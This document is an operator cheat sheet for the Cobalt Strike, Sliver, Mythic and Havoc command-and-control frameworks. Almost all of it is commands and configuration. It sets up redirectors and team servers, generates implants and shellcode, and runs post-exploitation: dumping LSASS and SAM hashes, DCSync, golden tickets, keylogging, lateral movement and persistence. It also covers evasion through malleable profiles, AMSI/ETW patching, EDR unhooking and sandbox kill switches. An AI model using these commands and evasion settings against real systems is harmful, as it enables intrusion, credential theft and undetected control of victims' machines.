C2 Frameworks

# Install Apache + enable modules
apt install apache2 -y
a2enmod proxy proxy_http rewrite ssl headers

# /etc/apache2/sites-available/redirector.conf
<VirtualHost *:443>
    SSLEngine On
    SSLCertificateFile /etc/ssl/certs/ssl-cert.pem

    # Only proxy specific paths to team server (everything else → 404)
    RewriteEngine On
    RewriteCond %{REQUEST_URI} ^/beacon/.*$     [OR]
    RewriteCond %{REQUEST_URI} ^/api/v1/.*$
    RewriteRule ^/(.*)$ https://TEAMSERVER_IP/$1 [P,L]

    # Block Scanners (no User-Agent? = 404)
    RewriteCond %{HTTP_USER_AGENT} ^$
    RewriteRule .* - [R=404,L]

    SSLProxyEngine On
    SSLProxyVerify none
    ProxyPreserveHost On
</VirtualHost>

# Enable + restart
a2ensite redirector.conf
systemctl restart apache2

# Requirements: Java (JDK 11+), Linux VPS

# Start Team Server
cd /opt/cobaltstrike
./teamserver TEAMSERVER_IP PASSWORD [killdate] [malleable_profile.c2]

# With malleable profile (ALWAYS use in real engagements!)
./teamserver 10.10.10.5 P@ss0rd killdate.profile

# Connect from Operator machine (via SSH tunnel!)
ssh -L 50050:localhost:50050 root@TEAMSERVER_IP -N &
# Then launch CS GUI and connect to: 127.0.0.1:50050

# Cobalt Strike client (GUI)
./cobaltstrike
# Connect to: 127.0.0.1 | Port: 50050 | Pass: PASSWORD

# GUI: Cobalt Strike → Listeners → Add

# HTTP Listener
Name:    HTTP_Corp
Payload: windows/beacon_http/reverse_http
Host:    REDIRECTOR_IP (NOT your team server!)
Port:    80
Profile: (select malleable profile)

# HTTPS Listener (preferred)
Name:    HTTPS_Corp
Payload: windows/beacon_https/reverse_https
Host:    REDIRECTOR_IP
Port:    443
Cert:    (import valid SSL cert — Let's Encrypt!)

# DNS Listener (ultra-stealthy)
Name:    DNS_Covert
Payload: windows/beacon_dns/reverse_dns_txt
Host:    ns1.yourdomain.com
DNS Idle: 8.8.8.8

# SMB Listener (pivot from internal host)
Name:    SMB_Pivot
Payload: windows/beacon_smb/bind_pipe
PipeName: \\.\pipe\MSSE-1234-server  # randomize pipe name!

# TCP Listener (bind)
Name:    TCP_Bind
Payload: windows/beacon_tcp/bind_tcp
Port:    4444

# GUI: Attacks → Packages → Windows EXE (Stageless!)
# ALWAYS use stageless in real engagements (no staging = less IOCs)

# Stageless EXE
Attacks → Packages → Windows EXE
  Listener: HTTPS_Corp
  ✅ Use x64
  ✅ Generate artifact kit (if using AV bypass)
  Output: beacon.exe

# Stageless DLL
Attacks → Packages → Windows DLL

# Stageless PowerShell
Attacks → Packages → PowerShell
  → Generates: powershell -enc BASE64PAYLOAD

# Raw Shellcode (inject into other tools)
Attacks → Packages → Raw
  → Generates: beacon.bin
  → Use with: donut, injection tool, loader

# HTML Application (HTA)
Attacks → Web Drive-by → Scripted Web Delivery

# Macro (for phishing docs)
Attacks → Packages → MS Office Macro

# Stageless via aggressor script
./cobaltstrike --generate HTTPS_Corp x64 beacon_stageless.exe

# Generate shellcode for custom loader:
Attacks → Packages → Raw → beacon_x64.bin
# Convert to C array:
xxd -i beacon_x64.bin > shellcode.h

# ==========================================
# CORE BEACON MANAGEMENT
# ==========================================

beacon> help                          # List all commands
beacon> sleep 60 20                   # Check-in every 60s ±20% jitter (OPSEC!)
beacon> sleep 0                       # Interactive mode (noisy — avoid!)
beacon> checkin                       # Force immediate check-in
beacon> exit                          # Kill beacon
beacon> clear                         # Clear pending tasks
beacon> note TeamLeadHost             # Add note to beacon (tracking)

# ==========================================
# INFORMATION GATHERING
# ==========================================

beacon> whoami                        # Current user
beacon> getuid                        # Get user ID + integrity level
beacon> getpid                        # Get beacon's PID
beacon> ps                            # Process list (look for AV/EDR!)
beacon> netstat                       # Network connections
beacon> ipconfig                      # Network interfaces
beacon> arp                           # ARP cache (find live hosts)
beacon> net view                      # Network shares
beacon> net computers                 # Domain computers
beacon> net dclist                    # Domain controllers
beacon> net domain_trusts             # Domain trusts
beacon> net group "Domain Admins"     # Group members
beacon> net localgroup                # Local groups
beacon> shell net user /domain        # Domain users

# ==========================================
# FILE OPERATIONS
# ==========================================

beacon> ls                            # Directory listing
beacon> ls C:\Users\                  # List specific path
beacon> cd C:\Temp                    # Change directory
beacon> pwd                           # Print working directory
beacon> mkdir C:\Temp\loot            # Create directory
beacon> cp source.txt dest.txt        # Copy file
beacon> mv source.txt dest.txt        # Move/rename
beacon> rm C:\Temp\evidence.txt       # Delete file
beacon> download C:\Users\Admin\ntds.dit  # Download file
beacon> upload /local/path/tool.exe C:\Temp\tool.exe  # Upload file
beacon> drives                        # List drives

# ==========================================
# PROCESS OPERATIONS
# ==========================================

beacon> run cmd.exe /c whoami         # Run executable (visible, avoid)
beacon> shell whoami /all             # Shell command via cmd.exe
beacon> powershell Get-Process        # PowerShell (logs to Event 4104!)
beacon> powerpick Get-Process         # PowerShell via unmanaged runspace (avoids logging!)
beacon> psinject PID x64 Get-Process  # Inject PS into another PID
beacon> execute-assembly tool.exe args  # Run .NET assembly in memory
beacon> spawn LISTENER                # Spawn new beacon via listener
beacon> inject PID LISTENER           # Inject beacon into existing process
beacon> migrate PID                   # Migrate beacon to another PID
beacon> kill PID                      # Kill a process

# ==========================================
# PRIVILEGE ESCALATION
# ==========================================

beacon> getprivs                      # List current privileges
beacon> getsystem                     # Attempt SYSTEM via various methods
beacon> runasadmin UACBypass cmd.exe  # UAC bypass techniques
# UAC bypass options:
beacon> runasadmin uac-token-duplication cmd.exe
beacon> runasadmin uac-cmstplua cmd.exe
beacon> elevate uac-token-duplication LISTENER
beacon> elevate svc-exe LISTENER      # Priv esc via service exe

# ==========================================
# CREDENTIAL ACCESS
# ==========================================

beacon> hashdump                      # Dump SAM hashes (local)
beacon> logonpasswords                # Mimikatz sekurlsa::logonpasswords
beacon> dcsync CORP.LOCAL krbtgt      # DCSync for krbtgt hash
beacon> dcsync CORP.LOCAL Administrator  # DCSync for admin hash
beacon> chromedump                    # Dump Chrome credentials
beacon> clipboard                     # Steal clipboard contents
beacon> keylogger                     # Start keylogger (store in beacon log)
beacon> screenshot                    # Take screenshot

# ==========================================
# LATERAL MOVEMENT
# ==========================================

beacon> jump psexec TARGET LISTENER   # PSExec style (noisy!)
beacon> jump psexec64 TARGET LISTENER # 64-bit PSExec
beacon> jump winrm TARGET LISTENER    # WinRM (PS Remoting) — stealthier
beacon> jump winrm64 TARGET LISTENER  # 64-bit WinRM
beacon> jump wmi TARGET LISTENER      # WMI execution — stealthy
beacon> remote-exec wmi TARGET cmd.exe /c whoami     # WMI remote exec
beacon> remote-exec winrm TARGET whoami              # WinRM remote exec
beacon> remote-exec psexec TARGET cmd.exe /c whoami  # PsExec remote exec

# ==========================================
# PIVOTING / TUNNELING
# ==========================================

# SMB Pivot (link parent beacon to child beacon on internal host)
beacon> link TARGET \\.\pipe\MSSE-1234-server   # Link via named pipe
beacon> unlink TARGET                            # Unlink pivot

# SOCKS proxy (route tools through beacon)
beacon> socks 1080            # Start SOCKS4a proxy on port 1080
beacon> socks stop            # Stop SOCKS proxy
# Usage:
# proxychains nmap -sT TARGET
# proxychains impacket-secretsdump CORP/Admin:P@ss@DC01

# TCP Pivot
beacon> rportfwd 8080 DC01 445    # Forward local:8080 → DC01:445
beacon> rportfwd stop 8080        # Remove forward

# Reverse Port Forward
beacon> portfwd add 8080 TARGET 80  # Forward TARGET:80 → Attacker:8080
beacon> portfwd stop 8080

# ==========================================
# TOKEN / IMPERSONATION
# ==========================================

beacon> steal_token PID           # Steal token from process
beacon> make_token DOMAIN\USER PASS  # Create token from credentials
beacon> rev2self                  # Revert to original token
beacon> getuid                    # Check current identity
beacon> pth DOMAIN\USER NTLM_HASH  # Pass-the-Hash
beacon> kerberos_ticket_use /path/to/ticket.kirbi  # Pass-the-Ticket

# ==========================================
# PERSISTENCE
# ==========================================

beacon> reg setval -k HKCU\Software\Microsoft\Windows\CurrentVersion\Run -v Update -d "C:\Temp\beacon.exe"  # Registry persistence
beacon> schtasks /create /tn "Windows Update" /tr "C:\Temp\beacon.exe" /sc onlogon  # Scheduled task (via shell)
beacon> persistence                  # GUI persistence menu (Cobalt Strike → Beacon → Persistence)

# ==========================================
# BOF (Beacon Object Files)
# ==========================================

beacon> inline-execute /path/to/file.o [args]  # Run BOF inline
# Common BOFs:
beacon> inline-execute TrustQuery.o             # Enumerate trust relationships
beacon> inline-execute whoami.o                 # Opsec whoami via BOF
beacon> inline-execute nanorobeus.o args        # Kerberos attacks via BOF

# Example: Impersonating Microsoft Update traffic
# Save as: msupdate.profile

set sleeptime "45000";           # Sleep 45s between check-ins
set jitter    "20";              # ±20% random jitter
set maxdns    "255";             # Max DNS data per request
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

# Process injection settings (OPSEC critical!)
process-inject {
    set startrwx "false";        # Never allocate RWX memory (huge IOC!)
    set userwx   "false";        # RW first, then flip to RX
    set bof_allocator "MapViewOfFile";  # Stealthier BOF allocation
    transform-x86 {
        prepend "\x90\x90\x90\x90";    # NOP sled prepend
    }
    transform-x64 {
        prepend "\x90\x90\x90\x90";
    }
}

# Stage (in-memory beacon config)
stage {
    set sleep_mask "true";           # Encrypt beacon in memory when sleeping!
    set obfuscate  "true";           # Obfuscate beacon strings
    set smartinject "true";          # Smarter shellcode injection
    set userwx "false";              # No RWX memory
    set cleanup "true";              # Clean up shellcode loader memory

    # Spoof PE headers to look like legit DLL
    transform-x64 {
        strrep "ReflectiveDLL" "MSVCP140";
        strrep "beacon" "authhelper";
    }
}

# Post-exploitation settings
post-ex {
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";   # Spawn-to (avoid cmd.exe/PS!)
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set obfuscate   "true";
    set smartinject "true";
    set amsi_disable "true";         # Disable AMSI in post-ex jobs
}

# HTTP GET (Beacon checking in — looks like browser request)
http-get {
    set uri "/en-US/docs/Web/API/Fetch_API/Using_Fetch";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.5";
        header "Accept-Encoding" "gzip, deflate, br";
        header "Connection" "keep-alive";
        header "Upgrade-Insecure-Requests" "1";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";         # Metadata hidden in Cookie header
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "X-Content-Type-Options" "nosniff";

        output {
            print;
        }
    }
}

# HTTP POST (Beacon sending data back)
http-post {
    set uri "/api/v1/telemetry";

    client {
        header "Content-Type" "application/json";
        header "Accept" "application/json";

        id {
            base64url;
            parameter "client_id";   # Session ID in query param
        }

        output {
            base64url;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";
        output {
            print;
        }
    }
}

# Validate profile:
# ./c2lint msupdate.profile

# Load a BOF (inline-execute)
beacon> inline-execute /opt/BOFs/whoami.o
beacon> inline-execute /opt/BOFs/nanorobeus.o kerberoast

# Popular BOF Collections:
# TrustedSec/CS-Situational-Awareness-BOF
beacon> inline-execute adcs_enum.o            # ADCS enumeration
beacon> inline-execute adcs_request.o args    # ADCS cert request
beacon> inline-execute ldapsearch.o args      # LDAP search
beacon> inline-execute netview.o              # Net view
beacon> inline-execute nslookup.o hostname    # DNS lookup
beacon> inline-execute arp.o                  # ARP table
beacon> inline-execute schtasksenum.o         # Scheduled tasks
beacon> inline-execute wifienum.o             # WiFi networks + keys!

# Nanodump BOF (LSASS dump without opening LSASS handle!)
beacon> inline-execute nanodump.o --write C:\Temp\lsass.dmp --valid --fork

# Sektor7 BOF kit (paid)
beacon> inline-execute unhook_ntdll.o         # Unhook EDR hooks in NTDLL!

# Build your own BOF:
# Compile with: x86_64-w64-mingw32-gcc -o bof.o -c bof.c -masm=intel

# ==========================================
# OPSEC RULES (CRITICAL IN REAL ENGAGEMENTS)
# ==========================================

# ❌ NEVER DO:
# - sleep 0  (constant callback = instant detection)
# - run powershell  (logs to Event 4104 / 4103)
# - inject into lsass.exe  (most monitored process!)
# - use staging (stage2 download = massive IOC)
# - leave default named pipe names
# - expose team server directly

# ✅ ALWAYS DO:
# - sleep 60 20  (60s sleep + 20% jitter)
# - powerpick instead of powershell
# - execute-assembly for .NET tools
# - inline-execute (BOF) for recon
# - use valid SSL cert on redirectors
# - migrate to stable process (dllhost, svchost)
# - use custom malleable profile
# - set spawnto to whitelisted process

# OPSEC spawn-to (what process Beacon spawns for post-ex tasks)
# In profile:
post-ex {
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    # Alternatives: WerFault.exe, RuntimeBroker.exe, svchost.exe
}

# Change pipe name (default is very detectable!)
# In profile:
set pipename "mojo.5688.8052.183894939787088877##";
set pipename_stager "mojo.5688.8052.##";

# Sleep Mask (encrypt beacon in memory while sleeping!)
stage {
    set sleep_mask "true";
}

# Install on Linux (server)
curl https://sliver.sh/install | sudo bash

# OR manual install
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux -O /usr/local/bin/sliver-server
chmod +x /usr/local/bin/sliver-server

# Start server (interactive)
sliver-server

# Start as systemd service
sliver-server daemon &

# Generate operator config (for remote operators)
sliver-server operator --name Zoro --lhost TEAMSERVER_IP --save /home/zoro/zoro.cfg

# Connect as operator (client)
sliver --config /home/zoro/zoro.cfg

# Multi-player (add operator from server)
sliver [server] > multiplayer
sliver [server] > new-operator --name operator2 --lhost TEAMSERVER_IP

# mTLS Listener (default, encrypted, authenticated)
sliver > mtls --lhost 0.0.0.0 --lport 8888

# WireGuard Listener (VPN-level encryption)
sliver > wg --lport 53 --key-port 1337

# HTTP Listener
sliver > http --lhost 0.0.0.0 --lport 80

# HTTPS Listener (with Let's Encrypt!)
sliver > https --lhost 0.0.0.0 --lport 443 --domain yourdomain.com --lets-encrypt

# HTTPS with custom domain
sliver > https --domain c2.legit-domain.com --lport 443

# DNS Listener
sliver > dns --domains c2.yourdomain.com --lhost 0.0.0.0

# TCP Bind (victim connects to you)
sliver > tcp-pivot --lport 4444

# List active listeners (jobs)
sliver > jobs

# Kill a listener
sliver > jobs --kill JOB_ID

# ==========================================
# SESSION IMPLANTS (interactive, persistent connection)
# ==========================================

# mTLS session (best for internal use)
sliver > generate --mtls TEAMSERVER_IP:8888 --os windows --arch amd64 --save /tmp/implant.exe

# HTTPS session (for internet-facing)
sliver > generate --https c2.yourdomain.com --os windows --arch amd64 --save /tmp/implant.exe

# Linux session
sliver > generate --mtls TEAMSERVER_IP:8888 --os linux --arch amd64 --save /tmp/implant

# macOS session
sliver > generate --mtls TEAMSERVER_IP:8888 --os mac --arch amd64 --save /tmp/implant

# DNS session (ultra-stealthy)
sliver > generate --dns c2.yourdomain.com --os windows --arch amd64 --save /tmp/implant.exe

# ==========================================
# BEACON IMPLANTS (async, sleep-based — like CS Beacon)
# ==========================================

# HTTPS Beacon (sleep every 60s ± 20% jitter)
sliver > generate beacon --https c2.yourdomain.com --os windows --arch amd64 --seconds 60 --jitter 20 --save /tmp/beacon.exe

# mTLS Beacon
sliver > generate beacon --mtls TEAMSERVER_IP:8888 --seconds 120 --jitter 30 --save /tmp/beacon.exe

# ==========================================
# SHELLCODE / DLL (for injection/loaders)
# ==========================================

# Raw shellcode (inject with your loader)
sliver > generate --mtls TEAMSERVER_IP --format shellcode --os windows --arch amd64 --save /tmp/shellcode.bin

# Shared DLL (reflective injection)
sliver > generate --mtls TEAMSERVER_IP --format shared --os windows --arch amd64 --save /tmp/implant.dll

# ==========================================
# STAGER (two-stage delivery)
# ==========================================

# Generate stager shellcode (stage1 → downloads full implant)
sliver > stage-listener --url https://c2.domain.com:443/updates --profile PROFILE_NAME
sliver > generate stager --lhost TEAMSERVER --lport 443 --protocol https --save stager.bin

# ==========================================
# SESSION MANAGEMENT
# ==========================================

# List active sessions
sliver > sessions

# Interact with session
sliver > use SESSION_ID
# OR:
sliver > sessions --interact SESSION_ID

# List beacons (async)
sliver > beacons
sliver > beacons --interact BEACON_ID

# Kill session
sliver > kill SESSION_ID

# Background (exit interaction, keep session)
sliver (IMPLANT) > background

# ==========================================
# INFORMATION GATHERING
# ==========================================

sliver (IMPLANT) > whoami               # Current user
sliver (IMPLANT) > getuid               # UID
sliver (IMPLANT) > getgid               # GID
sliver (IMPLANT) > getpid               # PID
sliver (IMPLANT) > hostname             # Hostname
sliver (IMPLANT) > ps                   # Process list
sliver (IMPLANT) > netstat              # Network connections
sliver (IMPLANT) > ifconfig             # Network interfaces
sliver (IMPLANT) > env                  # Environment variables
sliver (IMPLANT) > info                 # Full session info

# ==========================================
# FILE OPERATIONS
# ==========================================

sliver (IMPLANT) > ls                   # List current dir
sliver (IMPLANT) > ls C:\\Users\\       # List specific dir
sliver (IMPLANT) > cd C:\\Temp          # Change dir
sliver (IMPLANT) > pwd                  # Current dir
sliver (IMPLANT) > mkdir C:\\Temp\\loot # Create dir
sliver (IMPLANT) > download C:\\loot\\file.txt  # Download from victim
sliver (IMPLANT) > upload /local/tool.exe C:\\Temp\\tool.exe  # Upload to victim
sliver (IMPLANT) > rm C:\\Temp\\evidence.txt  # Delete
sliver (IMPLANT) > cat C:\\Windows\\System32\\drivers\\etc\\hosts  # Read file

# ==========================================
# EXECUTION
# ==========================================

sliver (IMPLANT) > shell                # Interactive shell (cmd.exe)
sliver (IMPLANT) > execute cmd.exe /c whoami  # Execute command
sliver (IMPLANT) > execute-assembly SharpHound.exe -c All  # .NET assembly in memory!
sliver (IMPLANT) > sideload /path/to/dll ExportedFunction args  # Load DLL sideload
sliver (IMPLANT) > spawndll /path/to/dll args  # Spawn DLL in new process

# ==========================================
# PRIVILEGE ESCALATION
# ==========================================

sliver (IMPLANT) > getprivs             # Current privileges
sliver (IMPLANT) > getsystem            # Attempt SYSTEM (multiple methods)
sliver (IMPLANT) > runas DOMAIN\\Admin P@ss cmd.exe  # Run as another user

# ==========================================
# PROCESS INJECTION
# ==========================================

sliver (IMPLANT) > ps                          # Find target PID
sliver (IMPLANT) > migrate PID                 # Migrate to process
sliver (IMPLANT) > inject PID /path/shellcode.bin  # Inject shellcode into PID
sliver (IMPLANT) > msf-inject --pid PID --payload windows/x64/meterpreter/reverse_tcp --lhost ATTACKER --lport 4444  # Inject MSF payload!

# ==========================================
# PIVOTING
# ==========================================

# SOCKS5 proxy (route tools through implant)
sliver (IMPLANT) > socks5 start --host 127.0.0.1 --port 1080
# Usage: proxychains nmap -sT 10.10.10.0/24

# TCP Port Forward
sliver (IMPLANT) > portfwd add --remote 10.10.10.10:445 --bind 127.0.0.1:4445

# WireGuard pivot
sliver (IMPLANT) > wg-portfwd add --remote 10.10.10.10:22

# Reverse port forward
sliver (IMPLANT) > rportfwd add --bind 0.0.0.0:8080 --forward ATTACKER:8080

# ==========================================
# CREDENTIAL ACCESS
# ==========================================

sliver (IMPLANT) > hashdump             # Dump SAM (needs SYSTEM)
sliver (IMPLANT) > execute-assembly SafetyKatz.exe  # Mimikatz in memory

# ==========================================
# SCREENSHOT / KEYLOG
# ==========================================

sliver (IMPLANT) > screenshot           # Take screenshot
sliver (IMPLANT) > screenshot --save /tmp/  # Save to local path

# ==========================================
# ARMORY (Package Manager)
# ==========================================

# Install all community tools
sliver > armory install all

# List available packages
sliver > armory

# Install specific package
sliver > armory install SharpHound
sliver > armory install Rubeus
sliver > armory install Seatbelt
sliver > armory install SharpUp
sliver > armory install Certify

# After install — run as alias!
sliver (IMPLANT) > sharphound -c All
sliver (IMPLANT) > rubeus kerberoast --outfile hashes.txt
sliver (IMPLANT) > seatbelt -group=all
sliver (IMPLANT) > sharpup audit
sliver (IMPLANT) > certify find /vulnerable

# Generate with custom C2 profile (HTTP config)
sliver > http-config --domain yourdomain.com

# Create custom HTTP profile (JSON)
# /etc/sliver/configs/http-c2.json:
{
    "implant_config": {
        "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0",
        "url_parameters": {
            "session": ["uuid", "base64"],
            "token": ["string"]
        },
        "headers": {
            "Accept": "text/html,application/xhtml+xml",
            "Accept-Language": "en-US,en;q=0.9"
        },
        "paths": ["/api/v1/data", "/en-us/updates", "/assets/js/app.js"]
    }
}

# OPSEC sleep for beacons
sliver > generate beacon --https domain.com --seconds 120 --jitter 45  # 120s ±45%

# Canary domains (detect if sample is analyzed in sandbox)
sliver > generate --mtls TEAMSERVER --canary-domain analysis.sandboxcheck.com --os windows
# If canary domain is resolved → implant is being analyzed → kill switch!

# Requirements: Docker + Docker Compose, Git

# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo make

# Install mythic-cli tool
sudo make install

# Start Mythic
sudo ./mythic-cli start

# Check status
sudo ./mythic-cli status

# Default web UI: https://TEAMSERVER_IP:7443
# Default creds: admin / PasswordFromMythicEnv
cat .env | grep MYTHIC_ADMIN_PASSWORD

# ==========================================
# INSTALL AGENTS (implants)
# ==========================================

sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo       # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon      # Linux/macOS Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa        # Python cross-platform
sudo ./mythic-cli install github https://github.com/MythicAgents/Thanatos      # Rust agent

# ==========================================
# INSTALL C2 PROFILES (communication channels)
# ==========================================

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http      # HTTP/S profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns       # DNS profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket # WebSocket profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb       # SMB named pipe
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/tcp       # TCP profile

# Restart after installing agents/profiles
sudo ./mythic-cli restart

# Via Web UI (https://TEAMSERVER_IP:7443):
# 1. Payloads → Generate New Payload
# 2. Select OS (Windows / Linux / macOS)
# 3. Select Agent (Apollo / Poseidon / Medusa)
# 4. Select C2 Profile (HTTP / SMB / DNS)
# 5. Configure callback host, port, sleep, jitter
# 6. Select commands to include
# 7. Generate → Download executable

# Apollo (Windows .NET) config:
# Callback Host: https://c2.yourdomain.com
# Callback Port: 443
# Callback Interval: 60
# Callback Jitter: 20
# Kill Date: 2024-12-31
# Encrypted Key Exchange: true

# Via CLI (mythic-cli):
sudo ./mythic-cli payload create \
    --agent apollo \
    --profile http \
    --os windows \
    --arch x64 \
    --output /tmp/payload.exe

# ==========================================
# APOLLO (Windows .NET Agent)
# Access via Web UI → Active Callbacks → Interact
# ==========================================

# Core
shell whoami                         # Shell command
run cmd.exe /c ipconfig /all         # Run executable
powershell Get-Process               # PowerShell
pwd                                  # Current directory
ls                                   # List directory
cd C:\Temp                           # Change directory
cat C:\Windows\system32\drivers\etc\hosts  # Read file
download C:\Users\Admin\secret.txt   # Download file
upload (use file browser)            # Upload file

# Process
ps                                   # Process list
kill 1234                            # Kill PID
inject --pid 1234 --shellcode FILE   # Inject shellcode

# Privilege
getprivs                             # List privileges
getsystem                            # Get SYSTEM

# Credentials
mimikatz sekurlsa::logonpasswords    # Mimikatz (built-in!)
mimikatz lsadump::dcsync /user:krbtgt  # DCSync
dcsync --domain CORP.LOCAL --user krbtgt  # Dedicated DCSync

# Kerberos
klist                                # List Kerberos tickets
pth --luid 0x3e7 --ntlm HASH        # Pass-the-Hash
ptt --ticket BASE64_TICKET          # Pass-the-Ticket
golden_ticket --user Admin --domain CORP.LOCAL --sid S-1-5-21-... --rc4 KRBTGT_HASH  # Golden ticket!

# Lateral Movement
jump --technique psexec --computer TARGET --listener LISTENER  # PSExec
jump --technique wmi --computer TARGET --listener LISTENER     # WMI
jump --technique winrm --computer TARGET --listener LISTENER   # WinRM

# Execute .NET assembly
execute_assembly SharpHound.exe -- -c All  # Run C# tool in memory!
execute_assembly Rubeus.exe -- kerberoast
execute_assembly Seatbelt.exe -- -group=all

# Screenshot + Keylog
screenshot                           # Grab screenshot
keylog_inject --pid 1234             # Inject keylogger into PID

# ==========================================
# POSEIDON (Linux/macOS Go Agent)
# ==========================================

shell whoami
ls /etc/passwd
download /etc/shadow
portscan --hosts 10.10.10.0/24 --ports 22,80,443,445  # Port scan!
socks5 start --port 1080             # SOCKS5 proxy
ssh --username root --password P@ss --hostname TARGET  # SSH lateral movement
persist --method crontab --command "/tmp/implant"  # Cron persistence

# ==========================================
# MEDUSA (Python Cross-platform Agent)
# ==========================================

shell whoami
upload file.txt
download /etc/passwd
socks5 --port 1080
persist --method service

# Dependencies (Kali/Ubuntu)
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev \
    qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
    libqt5websockets5-dev qtdeclarative5-dev golang-go nasm

# Clone
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

# Build Team Server
cd teamserver
go mod download
go build -o teamserver cmd/main.go

# Build Client (Qt GUI)
cd ../client
cmake -S . -B build
cmake --build build -j4
# Binary: ./build/Havoc

# ==========================================
# CONFIG FILE (profiles/default.yaotl)
# ==========================================

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm       = "/usr/bin/nasm"
    }
}

Operators {
    user "Zoro" {
        Password = "OperatorPassword"
    }
    user "Operator2" {
        Password = "P@ssw0rd2"
    }
}

Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["yourdomain.com"]
        HostBind     = "0.0.0.0"
        PortBind     = 443
        PortConn     = 443
        HostRotation = "round-robin"
        Secure       = true
        Cert         = "/etc/ssl/cert.pem"
        Key          = "/etc/ssl/key.pem"
        Response {
            Headers = [
                "Content-type: text/plain",
                "X-Content-Type-Options: nosniff"
            ]
        }
    }
}

# ==========================================
# START TEAM SERVER
# ==========================================

./teamserver server --profile profiles/default.yaotl

# Connect with Havoc Client (GUI)
./build/Havoc
# Connect to: TEAMSERVER_IP:40056 | Operator: Zoro | Pass: OperatorPassword

# Via Havoc GUI:
# View → Listeners → Add Listener

# HTTP/HTTPS Listener
Name:     HTTPS_Main
Protocol: Https
Host:     yourdomain.com
Port:     443
Cert/Key: (paths to SSL certs)

# SMB Named Pipe Listener (internal pivoting)
Name:     SMB_Pivot
Protocol: Smb
PipeName: \\.\pipe\svchost-ldr

# ==========================================
# DEMON PAYLOAD GENERATION (GUI)
# ==========================================

# Attack → Payload
Config:
  Listener: HTTPS_Main
  Arch: x64
  Format: Windows EXE / DLL / Shellcode

# OPSEC options (Havoc is VERY configurable):
  ✅ Sleep Technique: Ekko       # Encrypt + suspend beacon thread during sleep!
  ✅ Sleep Technique: Foliage    # XOR encrypt + NT API sleep obfuscation
  ✅ Proxy: None / HTTP
  ✅ Injection: Syscall          # Indirect syscalls (bypasses EDR hooks!)
  ✅ AmsiEtw: Patch              # Patch AMSI + ETW on execution
  ✅ Obfuscation: true
  ✅ Stack Duplication: true      # Spoof call stack during sleep

# Format options:
# Windows Exe → standalone EXE
# Windows Dll → reflective DLL
# Windows Raw Binary → shellcode (inject with custom loader)
# Windows Service Exe → for service-based execution

# ==========================================
# CORE COMMANDS (Havoc Console)
# ==========================================

# Help
Demon » help
Demon » help shell

# ==========================================
# EXECUTION
# ==========================================

Demon » shell whoami                  # Shell via cmd.exe
Demon » shell ipconfig /all
Demon » powershell Get-Process        # PowerShell
Demon » run notepad.exe               # Run without shell
Demon » execute-assembly /path/Rubeus.exe kerberoast  # .NET in memory!
Demon » dotnet inline-execute /path/Seatbelt.exe -- -group=all
Demon » shellcode inject --pid PID --shellcode /path/shellcode.bin

# ==========================================
# FILE SYSTEM
# ==========================================

Demon » dir C:\Users\                 # Directory listing
Demon » dir                           # Current dir
Demon » cd C:\Temp                    # Change dir
Demon » pwd                           # Current dir
Demon » mkdir C:\Temp\loot            # Create dir
Demon » download C:\Users\Admin\creds.txt  # Download
Demon » upload /local/tool.exe C:\Temp\tool.exe  # Upload
Demon » remove C:\Temp\evidence.txt   # Delete

# ==========================================
# PROCESS
# ==========================================

Demon » ps                            # Process list
Demon » kill 1234                     # Kill PID
Demon » process inject --pid PID --shellcode SHELLCODE_PATH  # Inject shellcode
Demon » process spawn LISTENER        # Spawn new Demon

# ==========================================
# PRIVILEGE ESCALATION
# ==========================================

Demon » token list                    # List available tokens
Demon » token steal --pid PID         # Steal token from PID
Demon » token make --user DOMAIN\Admin --password P@ss  # Make token
Demon » token revert                  # Revert token

Demon » privesc uac-bypass            # UAC bypass (multiple techniques)
Demon » privesc getsystem             # Attempt SYSTEM

# ==========================================
# CREDENTIAL ACCESS
# ==========================================

Demon » lsass dump                    # Dump LSASS → nanodump
Demon » hashdump                      # SAM hash dump

# Built-in Mimikatz:
Demon » mimikatz sekurlsa::logonpasswords
Demon » mimikatz lsadump::dcsync /user:krbtgt /domain:CORP.LOCAL
Demon » mimikatz kerberos::golden /user:Admin /domain:CORP.LOCAL /sid:SID /rc4:HASH /ptt

# ==========================================
# PIVOTING / TUNNELING
# ==========================================

Demon » socks5 5555                   # SOCKS5 proxy on port 5555
Demon » socks5 stop 5555              # Stop proxy
# Usage: proxychains nmap TARGET

Demon » portfwd add 8080 TARGET 80    # Port forward
Demon » portfwd remove 8080

# SMB pivot (link Demons in chain)
Demon » pivot smb connect --target TARGET --pipe svchost-ldr  # Connect to SMB listener

# ==========================================
# BOF EXECUTION (native Havoc support!)
# ==========================================

Demon » bof /path/to/file.o [args]

# Common BOFs in Havoc:
